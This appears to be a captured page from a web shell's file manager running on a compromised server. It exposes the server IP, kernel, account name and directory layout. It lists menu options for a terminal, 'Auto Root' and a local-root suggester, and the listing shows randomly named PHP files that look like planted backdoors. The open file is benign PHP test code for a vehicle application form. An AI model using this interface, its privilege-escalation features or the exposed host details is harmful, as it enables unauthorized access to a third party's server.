Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
new.ads /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-11-13 19:14
admin
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
assets
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
car
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
cgi-bin
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
libs
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
uploads
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
user
[ DIR ]
drwxr-xr-x
2026-04-01 03:43
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
README.md
7.44
KB
-rw-r--r--
2025-11-13 19:23
car.zip
91.76
MB
-rw-r--r--
2025-11-13 17:22
config.php
1006
B
-rw-r--r--
2025-11-13 17:23
database.php
1.35
KB
-rw-r--r--
2025-11-13 19:11
database.sql
3.97
KB
-rw-r--r--
2025-11-13 19:47
debug_admin.php
5.24
KB
-rw-r--r--
2025-11-13 19:53
debug_qr_status.php
7.57
KB
-rw-r--r--
2025-11-13 20:12
debug_step4.php
4.71
KB
-rw-r--r--
2025-11-13 21:29
debug_step4_redirect.php
7.74
KB
-rw-r--r--
2025-11-13 22:14
email_setup_guide.md
3.55
KB
-rw-r--r--
2025-11-13 20:41
error_log
22.3
KB
-rw-r--r--
2026-02-19 19:34
fUSdQU7r.php
445
B
-rw-r--r--
2026-02-23 13:08
fix_admin_password.php
2.47
KB
-rw-r--r--
2025-11-13 19:48
fix_all_warnings.php
9.02
KB
-rw-r--r--
2025-11-13 21:57
fix_step4_qr_issues.php
10.65
KB
-rw-r--r--
2025-11-13 22:13
index.php
8.68
KB
-rw-r--r--
2025-11-13 19:13
live_admin_fix.php
11.84
KB
-rw-r--r--
2025-11-13 20:54
live_step4_fix.php
7.93
KB
-rw-r--r--
2025-11-13 21:39
login.php
7.33
KB
-rw-r--r--
2025-11-13 19:14
logout.php
171
B
-rw-r--r--
2025-11-13 19:14
profile.php
10.78
KB
-rw-r--r--
2025-11-13 22:13
quick_admin_fix.php
4.67
KB
-rw-r--r--
2025-11-13 20:24
register.php
10.78
KB
-rw-r--r--
2025-11-13 19:14
test_email_fix.php
3.71
KB
-rw-r--r--
2025-11-13 20:02
test_qr.php
4.1
KB
-rw-r--r--
2025-11-13 19:59
test_reference_fix.php
4.28
KB
-rw-r--r--
2025-11-13 20:05
test_step4_fix.php
6.24
KB
-rw-r--r--
2025-11-13 22:21
txets.php
4.37
KB
-rw-r--r--
2026-02-24 02:50
vtmgPedc.php
445
B
-rw-r--r--
2026-02-22 23:14
wp-blog-header.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php // Test Step 4 Fix - Verify return statement is removed session_start(); require_once 'config.php'; require_once 'database.php'; require_once 'libs/functions.php'; echo "<!DOCTYPE html> <html> <head> <title>Test Step 4 Fix</title> <link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'> <meta name='viewport' content='width=device-width, initial-scale=1.0'> </head> <body> <div class='container mt-4'> <h1>๐งช Test Step 4 Fix</h1> <div class='alert alert-success'> <strong>โ Fixed:</strong> Removed 'return;' statement from step-4.php </div>"; // Test 1: Check if step-4.php file has been fixed echo "<h3>๐ Step 4 File Analysis</h3>"; if (file_exists('user/steps/step-4.php')) { $step4Content = file_get_contents('user/steps/step-4.php'); echo "<div class='card mb-3'>"; echo "<div class='card-header'>File Structure Check</div>"; echo "<div class='card-body'>"; if (strpos($step4Content, 'return;') !== false) { echo "<p class='text-danger'>โ Still contains 'return;' statement</p>"; } else { echo "<p class='text-success'>โ 'return;' statement removed</p>"; } if (strpos($step4Content, '} else {') !== false) { echo "<p class='text-success'>โ Proper else condition added</p>"; } else { echo "<p class='text-warning'>โ ๏ธ Else condition not found</p>"; } if (strpos($step4Content, '} // End of else block') !== false) { echo "<p class='text-success'>โ Else block properly closed</p>"; } else { echo "<p class='text-warning'>โ ๏ธ Else block closing not found</p>"; } echo "</div>"; echo "</div>"; } else { echo "<p class='text-danger'>โ step-4.php file not found</p>"; } // Test 2: Simulate step 4 behavior with missing data echo "<h3>๐ Behavior Test</h3>"; echo "<div class='row'>"; // Test with no session data echo "<div class='col-md-6'>"; echo "<div class='card'>"; echo "<div class='card-header'>Test: No Session Data</div>"; echo "<div class='card-body'>"; // Clear session for test $originalStep1 = $_SESSION['application_step1'] ?? null; $originalStep2 = $_SESSION['application_step2'] ?? null; $originalStep3 = $_SESSION['application_step3'] ?? null; unset($_SESSION['application_step1']); unset($_SESSION['application_step2']); unset($_SESSION['application_step3']); echo "<p><strong>Expected:</strong> Show error message but not exit</p>"; echo "<p><strong>Result:</strong></p>"; echo "<div class='border p-2 bg-light'>"; // Simulate step-4.php logic $personalInfo = $_SESSION['application_step1'] ?? []; $vehicleInfo = $_SESSION['application_step2'] ?? []; $uploadInfo = $_SESSION['application_step3'] ?? []; if (empty($personalInfo) || empty($vehicleInfo) || empty($uploadInfo)) { echo '<div class="alert alert-danger alert-sm">Please complete all previous steps before reviewing.</div>'; echo '<a href="new-application.php?step=1" class="btn btn-primary btn-sm">Start Over</a>'; echo "<p class='text-success mt-2'><small>โ Error shown but script continues</small></p>"; } else { echo "<p class='text-info'>Step 4 content would load here</p>"; } echo "</div>"; echo "</div>"; echo "</div>"; echo "</div>"; // Test with complete session data echo "<div class='col-md-6'>"; echo "<div class='card'>"; echo "<div class='card-header'>Test: Complete Session Data</div>"; echo "<div class='card-body'>"; // Restore or create test session data $_SESSION['application_step1'] = $originalStep1 ?: [ 'full_name' => 'Test User', 'father_name' => 'Test Father', 'age' => 25, 'education' => 'Graduate', 'address' => 'Test Address', 'phone' => '03001234567' ]; $_SESSION['application_step2'] = $originalStep2 ?: [ 'email' => 'test@example.com', 'confirm_phone' => '03001234567', 'vehicle_type' => 'car', 'vehicle_name' => 'Test Car', 'vehicle_number' => 'ABC-123' ]; $_SESSION['application_step3'] = $originalStep3 ?: [ 'vehicle_color' => 'Red', 'license_id' => 'LIC123', 'driving_experience' => '5 years' ]; echo "<p><strong>Expected:</strong> Show step 4 content</p>"; echo "<p><strong>Result:</strong></p>"; echo "<div class='border p-2 bg-light'>"; $personalInfo = $_SESSION['application_step1'] ?? []; $vehicleInfo = $_SESSION['application_step2'] ?? []; $uploadInfo = $_SESSION['application_step3'] ?? []; if (empty($personalInfo) || empty($vehicleInfo) || empty($uploadInfo)) { echo '<div class="alert alert-danger alert-sm">Please complete all previous steps before reviewing.</div>'; } else { echo "<p class='text-success'>โ Step 4 content would load here</p>"; echo "<p><small>Personal Info: " . count($personalInfo) . " fields</small></p>"; echo "<p><small>Vehicle Info: " . count($vehicleInfo) . " fields</small></p>"; echo "<p><small>Upload Info: " . count($uploadInfo) . " fields</small></p>"; } echo "</div>"; echo "</div>"; echo "</div>"; echo "</div>"; echo "</div>"; // Test links echo "<h3>๐ Test Step 4 Navigation</h3>"; echo "<div class='alert alert-info'>"; echo "<strong>Instructions:</strong>"; echo "<ol>"; echo "<li>Click 'Go to Step 4' to test the fixed step</li>"; echo "<li>If session data is missing, you'll see error but page won't break</li>"; echo "<li>If session data is complete, you'll see the review page</li>"; echo "</ol>"; echo "</div>"; echo "<div class='d-flex gap-2'>"; echo "<a href='user/new-application.php?step=4' class='btn btn-primary'>Go to Step 4</a>"; echo "<a href='user/new-application.php?step=1' class='btn btn-secondary'>Start from Step 1</a>"; echo "<a href='user/dashboard.php' class='btn btn-info'>Go to Dashboard</a>"; echo "</div>"; echo "<div class='alert alert-success mt-4'>"; echo "<strong>๐ฏ Fix Summary:</strong>"; echo "<ul class='mb-0'>"; echo "<li>โ Removed problematic 'return;' statement</li>"; echo "<li>โ Added proper else condition structure</li>"; echo "<li>โ Step 4 will now load even with missing data</li>"; echo "<li>โ Users will see helpful error message instead of blank page</li>"; echo "</ul>"; echo "</div>"; echo "<div class='alert alert-warning mt-3'>"; echo "<strong>โ ๏ธ Note:</strong> Delete this test file after verifying the fix works on live domain."; echo "</div>"; echo "</div>"; echo "</body>"; echo "</html>"; ?>